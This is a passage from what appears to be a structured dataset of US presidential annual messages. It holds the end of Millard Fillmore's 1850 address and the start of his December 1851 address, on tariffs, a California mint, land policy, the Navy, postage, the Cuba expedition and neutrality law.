complained of should be at once applied.As before stated, specific duties would, in my opinion, afford the most\nperfect remedy for this evil; but if you should not concur in this view,\nthen, as a partial remedy, I beg leave respectfully to recommend that\ninstead of taking the invoice of the article abroad as a means of\ndetermining its value here, the correctness of which invoice it is in many\ncases impossible to verify, the law be so changed as to require a home\nvaluation or appraisal, to be regulated in such manner as to give, as far\nas practicable, uniformity in the several ports.There being no mint in California, I am informed that the laborers in the\nmines are compelled to dispose of their gold dust at a large discount. This\nappears to me to be a heavy and unjust tax upon the labor of those employed\nin extracting this precious metal, and I doubt not you will be disposed at\nthe earliest period possible to relieve them from it by the establishment\nof a mint. In the meantime, as an assayer's office is established there, I\nwould respectfully submit for your consideration the propriety of\nauthorizing gold bullion which has been assayed and stamped to be received\nin payment of Government dues. I can not conceive that the Treasury would\nsuffer any loss by such a provision, which will at once raise bullion to\nits par value, and thereby save (if I am rightly informed) many millions of\ndollars to the laborers which are now paid in brokerage to convert this\nprecious metal into available funds. This discount upon their hard earnings\nis a heavy tax, and every effort should be made by the Government to\nrelieve them from so great a burden.More than three-fourths of our population are engaged in the cultivation of\nthe soil. The commercial, manufacturing, and navigating interests are all\nto a great extent dependent on the agricultural. It is therefore the most\nimportant interest of the nation, and has a just claim to the fostering\ncare and protection of the Government so far as they can be extended\nconsistently with the provisions of the Constitution. As this can not be\ndone by the ordinary modes of legislation, I respectfully recommend the\nestablishment of an agricultural bureau, to be charged with the duty of\ngiving to this leading branch of American industry the encouragement which\nit so well deserves. In view of the immense mineral resources of our\ncountry, provision should also be made for the employment of a competent\nmineralogist and chemist, who should be required, under the direction of\nthe head of the bureau, to collect specimens of the various minerals of our\ncountry and to ascertain by careful analysis their respective elements and\nproperties and their adaptation to useful purposes. He should also be\nrequired to examine and report upon the qualities of different soils and\nthe manures best calculated to improve their productiveness. By publishing\nthe results of such experiments, with suitable explanations, and by the\ncollection and distribution of rare seeds and plants, with instructions as\nto the best system of cultivation, much may be done to promote this great\nnational interest.In compliance with the act of Congress passed on the 23d of May, 1850,\nproviding, among other things, for taking the Seventh Census, a\nsuperintendent was appointed and all other measures adopted which were\ndeemed necessary to insure the prompt and faithful performance of that\nduty. The appropriation already made will, it is believed, be sufficient to\ndefray the whole expense of the work, but further legislation may be\nnecessary in regard to the compensation of some of the marshals of the\nTerritories. It will also be proper to make provision by law at an early\nday for the publication of such abstracts of the returns as the public\ninterests may require.The unprecedented growth of our territories on the Pacific in wealth and\npopulation and the consequent increase of their social and commercial\nrelations with the Atlantic States seem to render it the duty of the\nGovernment to use all its constitutional power to improve the means of\nintercourse with them. The importance of opening \"a line of communication,\nthe best and most expeditious of which the nature of the country will\nadmit,\" between the Valley of the Mississippi and the Pacific was brought\nto your notice by my predecessor in his annual message; and as the reasons\nwhich he presented in favor of the measure still exist in full force, I beg\nleave to call your attention to them and to repeat the recommendations then\nmade by him.The uncertainty which exists in regard to the validity of land titles in\nCalifornia is a subject which demands your early consideration. Large\nbodies of land in that State are claimed under grants said to have been\nmade by authority of the Spanish and Mexican Governments. Many of these\nhave not been perfected, others have been revoked, and some are believed to\nbe fraudulent. But until they shall have been judicially investigated they\nwill continue to retard the settlement and improvement of the country. I\ntherefore respectfully recommend that provision be made by law for the\nappointment of commissioners to examine all such claims with a view to\ntheir final adjustment.I also beg leave to call your attention to the propriety of extending at an\nearly day our system of land laws, with such modifications as may be\nnecessary, over the State of California and the Territories of Utah and New\nMexico. The mineral lands of California will, of course, form an exception\nto any general system which may be adopted. Various methods of disposing of\nthem have been suggested. I was at first inclined to favor the system of\nleasing, as it seemed to promise the largest revenue to the Government and\nto afford the best security against monopolies; but further reflection and\nour experience in leasing the lead mines and selling lands upon credit have\nbrought my mind to the conclusion that there would be great difficulty in\ncollecting the rents, and that the relation of debtor and creditor between\nthe citizens and the Government would be attended with many mischievous\nconsequences. I therefore recommend that instead of retaining the mineral\nlands under the permanent control of the Government they be divided into\nsmall parcels and sold, under such restrictions as to quantity and time as\nwill insure the best price and guard most effectually against combinations\nof capitalists to obtain monopolies.The annexation of Texas and the acquisition of California and New Mexico\nhave given increased importance to our Indian relations. The various tribes\nbrought under our jurisdiction by these enlargements of our boundaries are\nestimated to embrace a population of 124,000. Texas and New Mexico are\nsurrounded by powerful tribes of Indians, who are a source of constant\nterror and annoyance to the inhabitants. Separating into small predatory\nbands, and always mounted, they overrun the country, devastating farms,\ndestroying crops, driving off whole herds of cattle, and occasionally\nmurdering the inhabitants or carrying them into captivity. The great roads\nleading into the country are infested with them, whereby traveling is\nrendered extremely dangerous and immigration is almost entirely arrested.\nThe Mexican frontier, which by the eleventh article of the treaty of\nGuadalupe Hidalgo we are bound to protect against the Indians within our\nborder, is exposed to these incursions equally with our own. The military\nforce stationed in that country, although forming a large proportion of the\nArmy, is represented as entirely inadequate to our own protection and the\nfulfillment of our treaty stipulations with Mexico. The principal\ndeficiency is in cavalry, and I recommend that Congress should, at as early\na period as practicable, provide for the raising of one or more regiments\nof mounted men.For further suggestions on this subject and others connected with our\ndomestic interests and the defense of our frontier, I refer you to the\nreports of the Secretary of the Interior and of the Secretary of War.I commend also to your favorable consideration the suggestion contained in\nthe last-mentioned report and in the letter of the General in Chief\nrelative to the establishment of an asylum for the relief of disabled and\ndestitute soldiers. This subject appeals so strongly to your sympathies\nthat it would be superfluous in me to say anything more than barely to\nexpress my cordial approbation of the proposed object.The Navy continues to give protection to our commerce and other national\ninterests in the different quarters of the globe, and, with the exception\nof a single steamer on the Northern lakes, the vessels in commission are\ndistributed in six different squadrons.The report of the head of that Department will exhibit the services of\nthese squadrons and of the several vessels employed in each during the past\nyear. It is a source of gratification that, while they have been constantly\nprepared for any hostile emergency, they have everywhere met with the\nrespect and courtesy due as well to the dignity as to the peaceful\ndispositions and just purposes of the nation.The two brigantines accepted by the Government from a generous citizen of\nNew York and placed under the command of an officer of the Navy to proceed\nto the Arctic Seas in quest of the British commander Sir John Franklin and\nhis companions, in compliance with the act of Congress approved in May\nlast, had when last heard from penetrated into a high northern latitude;\nbut the success of this noble and humane enterprise is yet uncertain.I invite your attention to the view of our present naval establishment and\nresources presented in the report of the Secretary of the Navy, and the\nsuggestions therein made for its improvement, together with the naval\npolicy recommended for the security of our Pacific Coast and the protection\nand extension of our commerce with eastern Asia. Our facilities for a\nlarger participation in the trade of the East, by means of our recent\nsettlements on the shores of the Pacific, are too obvious to be overlooked\nor disregarded.The questions in relation to rank in the Army and Navy and relative rank\nbetween officers of the two branches of the service, presented to the\nExecutive by certain resolutions of the House of Representatives at the\nlast session of Congress, have been submitted to a board of officers in\neach branch of the service, and their report may be expected at an early\nday.I also earnestly recommend the enactment of a law authorizing officers of\nthe Army and Navy to be retired from the service when incompetent for its\nvigorous and active duties, taking care to make suitable provision for\nthose who have faithfully served their country and awarding distinctions by\nretaining in appropriate commands those who have been particularly\nconspicuous for gallantry and good conduct. While the obligation of the\ncountry to maintain and honor those who, to the exclusion of other\npursuits, have devoted themselves to its arduous service is acknowledged,\nthis obligation should not be permitted to interfere with the efficiency of\nthe service itself.I am gratified in being able to state that the estimates of expenditure for\nthe Navy in the ensuing year are less by more than $1,000,000 than those of\nthe present, excepting the appropriation which may become necessary for the\nconstruction of a dock on the coast of the Pacific, propositions for which\nare now being considered and on which a special report may be expected\nearly in your present session.There is an evident justness in the suggestion of the same report that\nappropriations for the naval service proper should be separated from those\nfor fixed and permanent objects, such as building docks and navy yards and\nthe fixtures attached, and from the extraordinary objects under the care of\nthe Department which, however important, are not essentially naval.A revision of the code for the government of the Navy seems to require the\nimmediate consideration of Congress. Its system of crimes and punishments\nhad undergone no change for half a century until the last session, though\nits defects have been often and ably pointed out; and the abolition of a\nparticular species of corporal punishment, which then took place, without\nproviding any substitute, has left the service in a state of defectiveness\nwhich calls for prompt correction. I therefore recommend that the whole\nsubject be revised without delay and such a system established for the\nenforcement of discipline as shall be at once humane and effectual.The accompanying report of the Postmaster-General presents a satisfactory\nview of the operations and condition of that Department. At the close of\nthe last fiscal year the length of the inland mail routes in the United\nStates (not embracing the service in Oregon and California) was 178,672\nmiles, the annual transportation thereon 46,541,423 miles, and the annual\ncost of such transportation $2,724,426. The increase of the annual\ntransportation over that of the preceding year was 3,997,354 miles and the\nincrease in cost was $342,440. The number of post-offices in the United\nStates on the 1st day of July last was 18,417, being an increase of 1,670\nduring the preceding year.The gross revenues of the Department for the fiscal year ending June 30,\n1850, amounted to $5,552,971.48, including the annual appropriation of\n$200,000 for the franked matter of the Departments and excluding the\nforeign postages collected for and payable to the British Government.The expenditures for the same period were $5,212,953.43, leaving a balance\nof revenue over expenditures of $340,018.05.I am happy to find that the fiscal condition of the Department is such as\nto justify the Postmaster-General in recommending the reduction of our\ninland letter postage to 3 cents the single letter when prepaid and 5 cents\nwhen not prepaid. He also recommends that the prepaid rate shall be reduced\nto 2 cents whenever the revenues of the Department, after the reduction,\nshall exceed its expenditures by more than 5 per cent for two consecutive\nyears; that the postage upon California and other letters sent by our ocean\nsteamers shall be much reduced, and that the rates of postage on\nnewspapers, pamphlets, periodicals, and other printed matter shall be\nmodified and some reduction thereon made.It can not be doubted that the proposed reductions will for the present\ndiminish the revenues of the Department. It is believed that the\ndeficiency, after the surplus already accumulated shall be exhausted, may\nbe almost wholly met either by abolishing the existing privileges of\nsending free matter through the mails or by paying out of the Treasury to\nthe Post-Office Department a sum equivalent to the postage of which it is\ndeprived by such privileges. The last is supposed to be the preferable\nmode, and will, if not entirely, so nearly supply that deficiency as to\nmake any further appropriation that may be found necessary so\ninconsiderable as to form no obstacle to the proposed reductions.I entertain no doubt of the authority of Congress to make appropriations\nfor leading objects in that class of public works comprising what are\nusually called works of internal improvement. This authority I suppose to\nbe derived chiefly from the power of regulating commerce with foreign\nnations and among the States and the power of laying and collecting\nimposts. Where commerce is to be carried on and imposts collected there\nmust be ports and harbors as well as wharves and custom-houses. If ships\nladen with valuable cargoes approach the shore or sail along the coast,\nlight-houses are necessary at suitable points for the protection of life\nand property. Other facilities and securities for commerce and navigation\nare hardly less important; and those clauses of the Constitution,\ntherefore, to which I have referred have received from the origin of the\nGovernment a liberal and beneficial construction. Not only have\nlight-houses, buoys, and beacons been established and floating lights\nmaintained, but harbors have been cleared and improved, piers constructed,\nand even breakwaters for the safety of shipping and sea walls to protect\nharbors from being filled up and rendered useless by the action of the\nocean, have been erected at very great expense. And this construction of\nthe Constitution appears the more reasonable from the consideration that if\nthese works, of such evident importance and utility, are not to be\naccomplished by Congress they can not be accomplished at all. By the\nadoption of the Constitution the several States voluntarily parted with the\npower of collecting duties of imposts in their own ports, and it is not to\nbe expected that they should raise money by internal taxation, direct or\nindirect, for the benefit of that commerce the revenues derived from which\ndo not, either in whole or in part, go into their own treasuries. Nor do I\nperceive any difference between the power of Congress to make\nappropriations for objects of this kind on the ocean and the power to make\nappropriations for similar objects on lakes and rivers, wherever they are\nlarge enough to bear on their waters an extensive traffic. The magnificent\nMississippi and its tributaries and the vast lakes of the North and\nNorthwest appear to me to fall within the exercise of the power as justly\nand as clearly as the ocean and the Gulf of Mexico. It is a mistake to\nregard expenditures judiciously made for these objects as expenditures for\nlocal purposes. The position or sight of the work is necessarily local, but\nits utility is general. A ship canal around the Falls of St. Mary of less\nthan a mile in length, though local in its construction, would yet be\nnational in its purpose and its benefits, as it would remove the only\nobstruction to a navigation of more than 1,000 miles, affecting several\nStates, as well as our commercial relations with Canada. So, too, the\nbreakwater at the mouth of the Delaware is erected, not for the exclusive\nbenefit of the States bordering on the bay and river of that name, but for\nthat of the whole coastwise navigation of the United States and, to a\nconsiderable extent, also of foreign commerce. If a ship be lost on the bar\nat the entrance of a Southern port for want of sufficient depth of water,\nit is very likely to be a Northern ship; and if a steamboat be sunk in any\npart of the Mississippi on account of its channel not having been properly\ncleared of obstructions, it may be a boat belonging to either of eight or\nten States. I may add, as somewhat remarkable, that among all the\nthirty-one States there is none that is not to a greater or less extent\nbounded on the ocean, or the Gulf of Mexico, or one of the Great Lakes, or\nsome navigable river.In fulfilling our constitutional duties, fellow-citizens, on this subject,\nas in carrying into effect all other powers conferred by the Constitution,\nwe should consider ourselves as deliberating and acting for one and the\nsame country, and bear constantly in mind that our regard and our duty are\ndue not to a particular part only, but to the whole.I therefore recommend that appropriations be made for completing such works\nas have been already begun and for commencing such others as may seem to\nthe wisdom of Congress to be of public and general importance.The difficulties and delays incident to the settlement of private claims by\nCongress amount in many cases to a denial of justice. There is reason to\napprehend that many unfortunate creditors of the Government have thereby\nbeen unavoidably ruined. Congress has so much business of a public\ncharacter that it is impossible it should give much attention to mere\nprivate claims, and their accumulation is now so great that many claimants\nmust despair of ever being able to obtain a hearing. It may well be doubted\nwhether Congress, from the nature of its organization, is properly\nconstituted to decide upon such cases. It is impossible that each member\nshould examine the merits of every claim on which he is compelled to vote,\nand it is preposterous to ask a judge to decide a case which he has never\nheard. Such decisions may, and frequently must, do injustice either to the\nclaimant or the Government, and I perceive no better remedy for this\ngrowing evil than the establishment of some tribunal to adjudicate upon\nsuch claims. I beg leave, therefore, most respectfully to recommend that\nprovision be made by law for the appointment of a commission to settle all\nprivate claims against the United States; and as an ex parte hearing must\nin all contested cases be very unsatisfactory, I also recommend the\nappointment of a solicitor, whose duty it shall be to represent the\nGovernment before such commission and protect it against all illegal,\nfraudulent, or unjust claims which may be presented for their adjudication.\nThis District, which has neither voice nor vote in your deliberations,\nlooks to you for protection and aid, and I commend all its wants to your\nfavorable consideration, with a full confidence that you will meet them not\nonly with justice, but with liberality. It should be borne in mind that in\nthis city, laid out by Washington and consecrated by his name, is located\nthe Capitol of our nation, the emblem of our Union and the symbol of our\ngreatness. Here also are situated all the public buildings necessary for\nthe use of the Government, and all these are exempt from taxation. It\nshould be the pride of Americans to render this place attractive to the\npeople of the whole Republic and convenient and safe for the transaction of\nthe public business and the preservation of the public records. The\nGovernment should therefore bear a liberal proportion of the burdens of all\nnecessary and useful improvements. And as nothing could contribute more to\nthe health, comfort, and safety of the city and the security of the public\nbuildings and records than an abundant supply of pure water, I respectfully\nrecommend that you make such provisions for obtaining the same as in your\nwisdom you may deem proper.The act, passed at your last session, making certain propositions to Texas\nfor settling the disputed boundary between that State and the Territory of\nNew Mexico was, immediately on its passage, transmitted by express to the\ngovernor of Texas, to be laid by him before the general assembly for its\nagreement thereto. Its receipt was duly acknowledged, but no official\ninformation has yet been received of the action of the general assembly\nthereon. It may, however, be very soon expected, as, by the terms of the\npropositions submitted they were to have been acted upon on or before the\nfirst day of the present month.It was hardly to have been expected that the series of measures passed at\nyour last session with the view of healing the sectional differences which\nhad sprung from the slavery and territorial questions should at once have\nrealized their beneficent purpose. All mutual concession in the nature of a\ncompromise must necessarily be unwelcome to men of extreme opinions. And\nthough without such concessions our Constitution could not have been\nformed, and can not be permanently sustained, yet we have seen them made\nthe subject of bitter controversy in both sections of the Republic. It\nrequired many months of discussion and deliberation to secure the\nconcurrence of a majority of Congress in their favor. It would be strange\nif they had been received with immediate approbation by people and States\nprejudiced and heated by the exciting controversies of their\nrepresentatives. I believe those measures to have been required by the\ncircumstances and condition of the country. I believe they were necessary\nto allay asperities and animosities that were rapidly alienating one\nsection of the country from another and destroying those fraternal\nsentiments which are the strongest supports of the Constitution. They were\nadopted in the spirit of conciliation and for the purpose of conciliation.\nI believe that a great majority of our fellow citizens sympathize in that\nspirit and that purpose, and in the main approve and are prepared in all\nrespects to sustain these enactments. I can not doubt that the American\npeople, bound together by kindred blood and common traditions, still\ncherish a paramount regard for the Union of their fathers, and that they\nare ready to rebuke any attempt to violate its integrity, to disturb the\ncompromises on which it is based, or to resist the laws which have been\nenacted under its authority.The series of measures to which I have alluded are regarded by me as a\nsettlement in principle and substance--a final settlement of the dangerous\nand exciting subjects which they embraced. Most of these subjects, indeed,\nare beyond your reach, as the legislation which disposed of them was in its\ncharacter final and irrevocable. It may be presumed from the opposition\nwhich they all encountered that none of those measures was free from\nimperfections, but in their mutual dependence and connection they formed a\nsystem of compromise the most conciliatory and best for the entire country\nthat could be obtained from conflicting sectional interests and opinions.For this reason I recommend your adherence to the adjustment established by\nthose measures until time and experience shall demonstrate the necessity of\nfurther legislation to guard against evasion or abuse.By that adjustment we have been rescued from the wide and boundless\nagitation that surrounded us, and have a firm, distinct, and legal ground\nto rest upon. And the occasion, I trust, will justify me in exhorting my\ncountrymen to rally upon and maintain that ground as the best, if not the\nonly, means of restoring peace and quiet to the country and maintaining\ninviolate the integrity of the Union.And now, fellow-citizens, I can not bring this communication to a close\nwithout invoking you to join me in humble and devout thanks to the Great\nRuler of Nations for the multiplied blessings which He has graciously\nbestowed upon us. His hand, so often visible in our preservation, has\nstayed the pestilence, saved us from foreign wars and domestic\ndisturbances, and scattered plenty throughout the land.Our liberties, religions and civil, have been maintained, the fountains of\nknowledge have all been kept open, and means of happiness widely spread and\ngenerally enjoyed greater than have fallen to the lot of any other nation.\nAnd while deeply penetrated with gratitude for the past, let us hope that\nHis all-wise providence will so guide our counsels as that they shall\nresult in giving satisfaction to our constituents, securing the peace of\nthe country, and adding new strength to the united Government under which\nwe live.", 
+    "name": "Millard Fillmore"
+}
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+{
+    "date": "December 2, 1851", 
+    "speech": "Fellow-Citizens of the Senate and of the House of Representatives:I congratulate you and our common constituency upon the favorable auspices\nunder which you meet for your first session. Our country is at peace with\nall the world. The agitation which for a time threatened to disturb the\nfraternal relations which make us one people is fast subsiding, and a year\nof general prosperity and health has crowned the nation with unusual\nblessings. None can look back to the dangers which are passed or forward to\nthe bright prospect before us without feeling a thrill of gratification, at\nthe same time that he must be impressed with a grateful sense of our\nprofound obligations to a beneficent Providence, whose paternal care is so\nmanifest in the happiness of this highly favored land.Since the close of the last Congress certain Cubans and other foreigners\nresident in the United States, who were more or less concerned in the\nprevious invasion of Cuba, instead of being discouraged by its failure have\nagain abused the hospitality of this country by making it the scene of the\nequipment of another military expedition against that possession of Her\nCatholic Majesty, in which they were countenanced, aided, and joined by\ncitizens of the United States. On receiving intelligence that such designs\nwere entertained, I lost no time in issuing such instructions to the proper\nofficers of the United States as seemed to be called for by the occasion.\nBy the proclamation a copy of which is herewith submitted I also warned\nthose who might be in danger of being inveigled into this scheme of its\nunlawful character and of the penalties which they would incur. For some\ntime there was reason to hope that these measures had sufficed to prevent\nany such attempt. This hope, however, proved to be delusive. Very early in\nthe morning of the 3d of August a steamer called the Pampero departed from\nNew Orleans for Cuba, having on board upward of 400 armed men with evident\nintentions to make war upon the authorities of the island. This expedition\nwas set on foot in palpable violation of the laws of the United States. Its\nleader was a Spaniard, and several of the chief officers and some others\nengaged in it were foreigners. The persons composing it, however, were\nmostly citizens of the United States.Before the expedition set out, and probably before it was organized, a\nslight insurrectionary movement, which appears to have been soon\nsuppressed, had taken place in the eastern quarter of Cuba. The importance\nof this movement was, unfortunately, so much exaggerated in the accounts of\nit published in this country that these adventurers seem to have been led\nto believe that the Creole population of the island not only desired to\nthrow off the authority of the mother country, but had resolved upon that\nstep and had begun a well-concerted enterprise for effecting it. The\npersons engaged in the expedition were generally young and ill informed.\nThe steamer in which they embarked left New Orleans stealthily and without\na clearance. After touching at Key West, she proceeded to the coast of\nCuba, and on the night between the 11th and 12th of August landed the\npersons on board at Playtas, within about 20 leagues of Havana.The main body of them proceeded to and took possession of an inland village\n6 leagues distant, leaving others to follow in charge of the baggage as\nsoon as the means of transportation could be obtained. The latter, having\ntaken up their line of march to connect themselves with the main body, and\nhaving proceeded about 4 leagues into the country, were attacked on the\nmorning of the 13th by a body of Spanish troops, and a bloody conflict\nensued, after which they retreated to the place of disembarkation, where\nabout 50 of them obtained boats and reembarked therein. They were, however,\nintercepted among the keys near the shore by a Spanish steamer cruising on\nthe coast, captured and carried to Havana, and after being examined before\na military court were sentenced to be publicly executed, and the sentence\nwas carried into effect on the 16th of August.On receiving information of what had occurred Commodore Foxhall A. Parker\nwas instructed to proceed in the steam frigate Saranac to Havana and\ninquire into the charges against the persons executed, the circumstances\nunder which they were taken, and whatsoever referred to their trial and\nsentence. Copies of the instructions from the Department of State to him\nand of his letters to that Department are herewith submitted.According to the record of the examination, the prisoners all admitted the\noffenses charged against them, of being hostile invaders of the island. At\nthe time of their trial and execution the main body of the invaders was\nstill in the field making war upon the Spanish authorities and Spanish\nsubjects. After the lapse of some days, being overcome by the Spanish\ntroops, they dispersed on the 24th of August. Lopez, their leader, was\ncaptured some days after, and executed on the 1st of September. Many of his\nremaining followers were killed or died of hunger and fatigue, and the rest\nwere made prisoners. Of these none appear to have been tried or executed.\nSeveral of them were pardoned upon application of their friends and others,\nand the rest, about 160 in number, were sent to Spain. Of the final\ndisposition made of these we have no official information.Such is the melancholy result of this illegal and ill-fated expedition.\nThus thoughtless young men have been induced by false and fraudulent\nrepresentations to violate the law of their country through rash and\nunfounded expectations of assisting to accomplish political revolutions in\nother states, and have lost their lives in the undertaking. Too severe a\njudgment can hardly be passed by the indignant sense of the community upon\nthose who, being better informed themselves, have yet led away the ardor of\nyouth and an ill-directed love of political liberty. The correspondence\nbetween this Government and that of Spain relating to this transaction is\nherewith communicated.Although these offenders against the laws have forfeited the protection of\ntheir country, yet the Government may, so far as consistent with its\nobligations to other countries and its fixed purpose to maintain and\nenforce the laws, entertain sympathy for their unoffending families and\nfriends, as well as a feeling of compassion for themselves. Accordingly, no\nproper effort has been spared and none will be spared to procure the\nrelease of such citizens of the United States engaged in this unlawful\nenterprise as are now in confinement in Spain; but it is to be hoped that\nsuch interposition with the Government of that country may not be\nconsidered as affording any ground of expectation that the Government of\nthe United States will hereafter feel itself under any obligation of duty\nto intercede for the liberation or pardon of such persons as are flagrant\noffenders against the law of nations and the laws of the United States.\nThese laws must be executed. If we desire to maintain our respectability\namong the nations of the earth, it behooves us to enforce steadily and\nsternly the neutrality acts passed by Congress and to follow as far as may\nbe the violation of those acts with condign punishment.But what gives a peculiar criminality to this invasion of Cuba is that,\nunder the lead of Spanish subjects and with the aid of citizens of the\nUnited States, it had its origin with many in motives of cupidity. Money\nwas advanced by individuals, probably in considerable amounts, to purchase\nCuban bonds, as they have been called, issued by Lopez, sold, doubtless, at\na very large discount, and for the payment of which the public lands and\npublic property of Cuba, of whatever kind, and the fiscal resources of the\npeople and government of that island, from whatever source to be derived,\nwere pledged, as well as the good faith of the government expected to be\nestablished. All these means of payment, it is evident, were only to be\nobtained by a process of bloodshed, war, and revolution. None will deny\nthat those who set on foot military expeditions against foreign states by\nmeans like these are far more culpable than the ignorant and the\nnecessitous whom they induce to go forth as the ostensible parties in the\nproceeding. These originators of the invasion of Cuba seem to have\ndetermined with coolness and system upon an undertaking which should\ndisgrace their country, violate its laws, and put to hazard the lives of\nill-informed and deluded men. You will consider whether further legislation\nbe necessary to prevent the perpetration of such offenses in future.No individuals have a right to hazard the peace of the country or to\nviolate its laws upon vague notions of altering or reforming governments in\nother states. This principle is not only reasonable in itself and in\naccordance with public law, but is ingrafted into the codes of other\nnations as well as our own. But while such are the sentiments of this\nGovernment, it may be added that every independent nation must be presumed\nto be able to defend its possessions against unauthorized individuals\nbanded together to attack them. The Government of the United States at all\ntimes since its establishment has abstained and has sought to restrain the\ncitizens of the country from entering into controversies between other\npowers, and to observe all the duties of neutrality. At an early period of\nthe Government, in the Administration of Washington, several laws were\npassed for this purpose. The main provisions of these laws were reenacted\nby the act of April, 1818, by which, amongst other things, it was declared\nthat--If any person shall, within the territory or jurisdiction of the United\nStates, begin, or set on foot, or provide or prepare the means for, any\nmilitary expedition or enterprise to be carried on from thence against the\nterritory or dominions of any foreign prince or state, or of any colony,\ndistrict, or people, with whom the United States are at peace, every person\nso offending shall be deemed guilty of a high misdemeanor, and shall be\nfined not exceeding $3,000 and imprisoned not more than three years.And this law has been executed and enforced to the full extent of the power\nof the Government from that day to this.In proclaiming and adhering to the doctrine of neutrality and\nnonintervention, the United States have not followed the lead of other\ncivilized nations; they have taken the lead themselves and have been\nfollowed by others. This was admitted by one of the most eminent of modern\nBritish statesmen, who said in Parliament, while a minister of the Crown,\n\"that if he wished for a guide in a system of neutrality he should take\nthat laid down by America in the days of Washington and the secretaryship\nof Jefferson;\" and we see, in fact, that the act of Congress of 1818 was\nfollowed the succeeding year by an act of the Parliament of England\nsubstantially the same in its general provisions. Up to that time there had\nbeen no similar law in England, except certain highly penal statutes passed\nin the reign of George II, prohibiting English subjects from enlisting in\nforeign service, the avowed object of which statutes was that foreign\narmies, raised for the purpose of restoring the house of Stuart to the\nthrone, should not be strengthened by recruits from England herself.All must see that difficulties may arise in carrying the laws referred to\ninto execution in a country now having 3,000 or 4,000 miles of seacoast,\nwith an infinite number of ports and harbors and small inlets, from some of\nwhich unlawful expeditious may suddenly set forth, without the knowledge of\nGovernment, against the possessions of foreign states.\"Friendly relations with all, but entangling alliances with none,\" has long\nbeen a maxim with us. Our true mission is not to propagate our opinions or\nimpose upon other countries our form of government by artifice or force,\nbut to teach by example and show by our success, moderation, and justice\nthe blessings of self-government and the advantages of free institutions.\nLet every people choose for itself and make and alter its political\ninstitutions to suit its own condition and convenience. But while we avow\nand maintain this neutral policy ourselves, we are anxious to see the same\nforbearance on the part of other nations whose forms of government are\ndifferent from our own. The deep interest which we feel in the spread of\nliberal principles and the establishment of free governments and the\nsympathy with which we witness every struggle against oppression forbid\nthat we should be indifferent to a case in which the strong arm of a\nforeign power is invoked to stifle public sentiment and repress the spirit\nof freedom in any country.The Governments of Great Britain and France have issued orders to their\nnaval commanders on the West India station to prevent, by force if\nnecessary, the landing of adventurers from any nation on the island of Cuba\nwith hostile intent. The copy of a memorandum of a conversation on this\nsubject between the charge d'affaires of Her Britannic Majesty and the\nActing Secretary of State and of a subsequent note of the former to the\nDepartment of State are herewith submitted, together with a copy of a note\nof the Acting Secretary of State to the minister of the French Republic and\nof the reply of the latter on the same subject. These papers will acquaint\nyou with the grounds of this interposition of two leading commercial powers\nof Europe, and with the apprehensions, which this Government could not fail\nto entertain, that such interposition, if carried into effect, might lead\nto abuses in derogation of the maritime rights of the United States. The\nmaritime rights of the United States are founded on a firm, secure, and\nwell-defined basis; they stand upon the ground of national independence and\npublic law, and will be maintained in all their full and just extent. The\nprinciple which this Government has heretofore solemnly announced it still\nadheres to, and will maintain under all circumstances and at all hazards.\nThat principle is that in every regularly documented merchant vessel the\ncrew who navigate it and those on board of it will find their protection in\nthe flag which is over them. No American ship can be allowed to be visited\nor searched for the purpose of ascertaining the character of individuals on\nboard, nor can there be allowed any watch by the vessels of any foreign\nnation over American vessels on the coast of the United States or the seas\nadjacent thereto. It will be seen by the last communication from the\nBritish charge d'affaires to the Department of State that he is authorized\nto assure the Secretary of State that every care will be taken that in\nexecuting the preventive measures against the expeditions which the United\nStates Government itself has denounced as not being entitled to the\nprotection of any government no interference shall take place with the\nlawful commerce of any nation.In addition to the correspondence on this subject herewith submitted,\nofficial information has been received at the Department of State of\nassurances by the French Government that in the orders given to the French\nnaval forces they were expressly instructed, in any operations they might\nengage in, to respect the flag of the United States wherever it might\nappear, and to commit no act of hostility upon any vessel or armament under\nits protection.Ministers and consuls of foreign nations are the means and agents of\ncommunication between us and those nations, and it is of the utmost\nimportance that while residing in the country they should feel a perfect\nsecurity so long as they faithfully discharge their respective duties and\nare guilty of no violation of our laws. This is the admitted law of nations\nand no country has a deeper interest in maintaining it than the United\nStates. Our commerce spreads over every sea and visits every clime, and our\nministers and consuls are appointed to protect the interests of that\ncommerce as well as to guard the peace of the country and maintain the\nhonor of its flag. But how can they discharge these duties unless they be\nthemselves protected? And if protected it must be by the laws of the\ncountry in which they reside. And what is due to our own public\nfunctionaries residing in foreign nations is exactly the measure of what is\ndue to the functionaries of other governments residing here. As in war the\nbearers of flags of truce are sacred, or else wars would be interminable,\nso in peace ambassadors, public ministers, and consuls, charged with\nfriendly national intercourse, are objects of especial respect and\nprotection, each according to the rights belonging to his rank and station.\nIn view of these important principles, it is with deep mortification and\nregret I announce to you that during the excitement growing out of the\nexecutions at Havana the office of Her Catholic Majesty's consul at New\nOrleans was assailed by a mob, his property destroyed, the Spanish flag\nfound in the office carried off and torn in pieces, and he himself induced\nto flee for his personal safety, which he supposed to be in danger. On\nreceiving intelligence of these events I forthwith directed the attorney of\nthe United States residing at New Orleans to inquire into the facts and the\nextent of the pecuniary loss sustained by the consul, with the intention of\nlaying them before you, that you might make provision for such indemnity to\nhim as a just regard for the honor of the nation and the respect which is\ndue to a friendly power might, in your judgment, seem to require. The\ncorrespondence upon this subject between the Secretary of State and Her\nCatholic Majesty's minister plenipotentiary is herewith transmitted.The occurrence at New Orleans has led me to give my attention to the state\nof our laws in regard to foreign ambassadors, ministers, and consuls. I\nthink the legislation of the country is deficient in not providing\nsufficiently either for the protection or the punishment of consuls. I\ntherefore recommend the subject to the consideration of Congress.Your attention is again invited to the question of reciprocal trade between\nthe United States and Canada and other British possessions near our\nfrontier. Overtures for a convention upon this subject have been received\nfrom Her Britannic Majesty's minister plenipotentiary, but it seems to be\nin many respects preferable that the matter should be regulated by\nreciprocal legislation. Documents are laid before you showing the terms\nwhich the British Government is willing to offer and the measures which it\nmay adopt if some arrangement upon this subject shall not be made.From the accompanying copy of a note from the British legation at\nWashington and the reply of the Department of State thereto it will appear\nthat Her Britannic Majesty's Government is desirous that a part of the\nboundary line between Oregon and the British possessions should be\nauthoritatively marked out, and that an intention was expressed to apply to\nCongress for an appropriation to defray the expense thereof on the part of\nthe United States. Your attention to this subject is accordingly invited\nand a proper appropriation recommended. A convention for the adjustment of\nclaims of citizens of the United States against Portugal has been concluded\nand the ratifications have been exchanged. The first installment of the\namount to be paid by Portugal fell due on the 30th of September last and\nhas been paid. The President of the French Republic, according to the\nprovisions of the convention, has been selected as arbiter in the case of\nthe General Armstrong, and has signified that he accepts the trust and the\nhigh satisfaction he feels in acting as the common friend of two nations\nwith which France is united by sentiments of sincere and lasting 